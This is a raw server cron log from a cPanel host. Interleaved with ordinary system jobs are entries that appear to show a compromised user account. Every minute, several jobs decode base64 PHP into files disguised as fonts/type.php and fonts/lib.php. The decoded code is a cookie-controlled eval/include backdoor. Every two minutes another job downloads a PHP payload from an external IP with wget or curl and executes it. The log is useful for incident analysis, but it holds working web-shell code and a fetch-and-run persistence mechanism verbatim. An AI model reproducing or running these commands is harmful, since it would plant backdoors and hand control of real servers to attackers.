Aug 31 17:06:01 ip-184-168-122-23 CROND[1458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:06:01 ip-184-168-122-23 CROND[1460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:07:01 ip-184-168-122-23 CROND[1572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:07:01 ip-184-168-122-23 CROND[1570]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:07:01 ip-184-168-122-23 CROND[1573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:07:01 ip-184-168-122-23 CROND[1571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:08:01 ip-184-168-122-23 CROND[1674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:08:01 ip-184-168-122-23 CROND[1673]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 17:08:01 ip-184-168-122-23 CROND[1676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:08:01 ip-184-168-122-23 CROND[1677]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:08:01 ip-184-168-122-23 CROND[1680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:09:01 ip-184-168-122-23 CROND[1777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:09:01 ip-184-168-122-23 CROND[1779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:09:01 ip-184-168-122-23 CROND[1780]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:09:01 ip-184-168-122-23 CROND[1782]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 17:09:01 ip-184-168-122-23 CROND[1783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:10:01 ip-184-168-122-23 CROND[1910]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 17:10:01 ip-184-168-122-23 CROND[1914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:10:01 ip-184-168-122-23 CROND[1915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:10:01 ip-184-168-122-23 CROND[1913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:10:01 ip-184-168-122-23 CROND[1917]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:10:01 ip-184-168-122-23 CROND[1918]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 17:10:01 ip-184-168-122-23 CROND[1923]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 17:10:01 ip-184-168-122-23 CROND[1922]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 17:11:01 ip-184-168-122-23 CROND[2164]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:11:01 ip-184-168-122-23 CROND[2167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:11:01 ip-184-168-122-23 CROND[2166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:11:01 ip-184-168-122-23 CROND[2168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:12:01 ip-184-168-122-23 CROND[2275]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:12:01 ip-184-168-122-23 CROND[2279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:12:01 ip-184-168-122-23 CROND[2280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:12:01 ip-184-168-122-23 CROND[2277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:12:01 ip-184-168-122-23 CROND[2278]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 17:13:01 ip-184-168-122-23 CROND[2378]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:13:01 ip-184-168-122-23 CROND[2382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:13:01 ip-184-168-122-23 CROND[2380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:13:01 ip-184-168-122-23 CROND[2381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:14:01 ip-184-168-122-23 CROND[2469]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 17:14:01 ip-184-168-122-23 CROND[2472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:14:01 ip-184-168-122-23 CROND[2471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:14:01 ip-184-168-122-23 CROND[2473]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:14:01 ip-184-168-122-23 CROND[2474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:15:01 ip-184-168-122-23 CROND[2567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:15:01 ip-184-168-122-23 CROND[2569]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 17:15:01 ip-184-168-122-23 CROND[2571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:15:01 ip-184-168-122-23 CROND[2572]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 17:15:01 ip-184-168-122-23 CROND[2570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:15:01 ip-184-168-122-23 CROND[2573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:16:01 ip-184-168-122-23 CROND[2664]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:16:01 ip-184-168-122-23 CROND[2666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:16:01 ip-184-168-122-23 CROND[2667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:16:01 ip-184-168-122-23 CROND[2668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:16:01 ip-184-168-122-23 CROND[2670]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 17:16:01 ip-184-168-122-23 CROND[2669]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 17:17:01 ip-184-168-122-23 CROND[2781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:17:01 ip-184-168-122-23 CROND[2783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:17:01 ip-184-168-122-23 CROND[2782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:17:01 ip-184-168-122-23 CROND[2784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:18:01 ip-184-168-122-23 CROND[2884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:18:01 ip-184-168-122-23 CROND[2885]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:18:01 ip-184-168-122-23 CROND[2886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
